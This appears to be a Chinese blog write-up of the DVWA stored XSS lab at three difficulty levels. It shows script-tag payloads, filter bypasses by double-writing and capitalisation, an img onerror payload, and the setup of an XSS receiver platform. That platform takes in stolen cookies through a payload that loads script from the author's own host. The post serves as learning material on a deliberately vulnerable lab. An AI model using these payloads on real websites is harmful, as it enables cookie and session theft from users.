XSS(Stored)

XSS(Stored)

前言

看了一个web的安全视频,里面有说说有的web漏洞都是输入输出的控制问题,虽然感觉说的太笼统了。但确实没什么毛病。sql注入来说,对用户的输入做好处理,对服务端的输出做好处理,对于我这样的菜鸡来说就很难了(字符型注入对单引号转义就感觉好难做啊)
XSS也是这样。因为对用户输入控制的不严格,让用户的输入被当做代码执行。这和sql感觉就十分相似了。只不过一个是对数据库一个是对前端页面

练习

Low

我们点进页面可以发现这类似一个留言板页面
在这里插入图片描述
我们试着输一下试一下
在这里插入图片描述
可以看到测试的1,1显示到了下面
在这里插入图片描述
查看页面源码可以发现我们的输入被嵌入到了页面返回
这时候我们直接来试下最简单的弹窗,因为用户名有长度限制,我们将构造的语句输入message当中
在这里插入图片描述
可以看到message中并没有显示我们刚才输入的<script>1</script>并没有显示出来,而是被当做代码执行了,弹出了弹窗
从页面源码中我们也可以看到,这里直接将我们的输入嵌入了源码,所以被当做了代码执行
在这里插入图片描述
然后这里name虽然有字符限制,但这里字符限制仅仅是在前端做了限制,我们试下抓包修改
在这里插入图片描述
这样亲测可行。这样能执行代码就能有很多操作了,比如对方访问这个页面的时候去访问别的资源页面,把cookie上传到xss平台等等…
<script>alter(document.cookie)<script> 弹cookie
在这里插入图片描述
但这样不是传到我们这里…所以需要xss平台
这里自己试着构建了一个建议的平台,但每次都失败了,发现dvwa把+给过滤了???
存储型xss盗取cookie实验
我看别人做的没问题啊…难道新版本加了过滤???

Medium

在这里插入图片描述
可以看到Medium,我们再输入<script>alter(1)</script> ,发现没有按照script解析…
这里是对<script> </script>进行了过滤,也就是对输入进行了控制,这和SQL注入那里很像,SQL注入是对输入中的一些特殊字符进行了转义
这里message的strip_tags函数把<script>标签给剥除了,addslashes函数把 ’ 转义成了 \ ’
但name标签没做限制只替换了<script>
通过双写绕过(文件包含的时候过滤http的时候我们也用过这种方法)
在这里插入图片描述
可以看到成功弹窗
在这里插入图片描述
这里还可以通过将<Script>首字母大写来绕过
在这里插入图片描述

High

high级别对<script>使用了正在正则表达过滤
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
可以看到存在script这样顺序的都会被替换,但img、iframe并没有过滤(html也不太熟…)
在这里插入图片描述
OK这样插入后发现顺利的弹出了1
在这里插入图片描述

XSS平台

OK现在来搭一个xss平台来实验下吧,下面是蓝莲花战队提供的开源xss平台,我是直接docker装十分方便(这里因为一些原因用的win下面的docker,也是第一次用搞了好久,主要是docker这里的ip问题…)

XSS平台项目名称:BlueLotus_XSSReceiver

作者:firesun(来自清华大学蓝莲花战队)

项目地址:https://github.com/firesunCN/BlueLotus_XSSReceiver

上面项目中的readme是很全面的,当然下面有篇搭建博客也可以看下,也介绍了些使用方法

从零开始搭建轻量级个人XSS平台
在这里插入图片描述
搭好后就是上面那样的界面
就不重复造轮子了,具体使用方法可以参照上面的博客,很详细
自己亲测也没问题,如下图
在这里插入图片描述
可以看到我们拿到了cookie
在这里插入图片描述
但这里获取cookie也登不上去啊…(老版本的dvwa好像是可以的)因为增加了一个token值…
OK,针对这个token CSRF漏洞high界别会练习到(先做的CSRF发现要用到XSS又来做了XSS)
初级和中级都没问题,高级的时候尝试没有成功…
在这里插入图片描述

在高级的时候它不断去访问我们给的url但就是没有成功…
<img src=# οnerrοr=src=‘http://192.168.99.100/myjs/cookie.js’>
这样的情况表示http://192.168.99.100/myjs/cookie.js不存在??? 我也很迷…
结果我拿low级别又试了一次也没成功…(这里可能发生了什么未知错误???)
但后面重开了个js low级别成功了,但high还是出现上面的问题…
在这里插入图片描述
看了下html,这是插进去了啊…
low 级别试了下上面的代码,也是出同样的问题…
这里那就是后面不应该用src了,这样去下回来的js当图片解析不了,所以它就一直去下…(我分析认为是这样的)
自己对js和html确实不熟,所以搞不定啊…
Xss里img标签的一些利用
img标签之xss利用从放弃到OAuth授权劫持
新手科普 | 通过DVWA学习XSS
上面的博客中的一些方法我也尝试了一下,但依旧没有成功…
但最后一篇博客中构造的payload有点复杂…用到了ajax
但它的思路就是直接把payload放进去,不用去网站在在下载,但我试了下依旧没有成功
脚本小子的痛,不会写payload…,补补前端再来填坑…
这里在xss(reflected)博文TIPS中有提到解决方案,但对于high级别依旧存在问题

总结

xss感觉这个漏洞和sql注入极为相似的,一个是通过sql语句来注入,一个是通过js(主要是Js吧)来注入,但两者的对象却又不同,一个是直接攻击服务端获取数据,一个是相当于在服务端布好陷阱

首先还是跟sql注入一样要判断有没有注入点,当然xss也有自己的扫描工具,下次体验后再说说感受

其次是xss的过滤,很显然xss的防范手段和sql注入类似,白名单机制,有一定的过滤措施,前不久做的一道题就是要script大写才行,从上面的练习中也可以发现过滤规则的加强,就需要尝试的越多script标签就不一定能使用了

最后是xss的利用,sql注入很明显我们可以可以利用它来获取数据库中的数据,而xss呢?来弹个窗???目前我能想到的就是获取cookie,然后实现用户的登录,我也看到有人通过xss漏洞实现了qq空间的登录,其次xss也可以和csrf结合起来使用。可能使用起来的复杂性比sql注入高,或者说直观性不如sql注入,所以目前的思路也不是很多。后面把反射型和DOM型练习完,可能又会有新想法把…

参考

  1. 新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS
  2. Xss里img标签的一些利用
  3. img标签之xss利用从放弃到OAuth授权劫持
  4. 新手科普 | 通过DVWA学习XSS
  5. 从零开始搭建轻量级个人XSS平台
发布了54 篇原创文章 · 获赞 22 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_26406447/article/details/89761514
xss
今日推荐